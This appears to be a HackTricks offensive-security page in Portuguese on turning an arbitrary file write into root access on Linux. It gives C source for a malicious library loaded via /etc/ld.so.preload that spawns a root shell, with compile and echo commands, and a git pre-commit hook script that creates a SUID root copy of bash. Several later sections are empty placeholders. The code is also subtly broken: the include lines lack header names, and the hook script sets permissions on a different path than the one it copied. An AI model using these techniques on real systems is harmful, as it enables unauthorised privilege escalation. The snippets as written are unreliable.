# Escrita Arbitrária de Arquivo para Root
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
### /etc/ld.so.preload Este arquivo se comporta como a variável de ambiente **`LD_PRELOAD`** mas também funciona em **binários SUID**.\ Se você pode criá-lo ou modificá-lo, você pode simplesmente adicionar um **caminho para uma biblioteca que será carregada** com cada binário executado. Por exemplo: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { unlink("/etc/ld.so.preload"); setgid(0); setuid(0); system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` ### Ganchos do Git [**Ganchos do Git**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) são **scripts** que são **executados** em vários **eventos** em um repositório git, como quando um commit é criado, um merge... Portanto, se um **script ou usuário privilegiado** estiver realizando essas ações com frequência e for possível **escrever na pasta `.git`**, isso pode ser usado para **escalada de privilégios**. Por exemplo, é possível **gerar um script** em um repositório git em **`.git/hooks`** para que ele seja sempre executado quando um novo commit é criado: {% code overflow="wrap" %} ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` ### Arquivos Cron & Time A ser feito ### Arquivos de Serviço & Socket A ser feito ### binfmt\_misc O arquivo localizado em `/proc/sys/fs/binfmt_misc` indica qual binário deve executar qual tipo de arquivo. A ser feito: verificar os requisitos para abusar disso e executar um shell reverso quando um tipo comum de arquivo é aberto.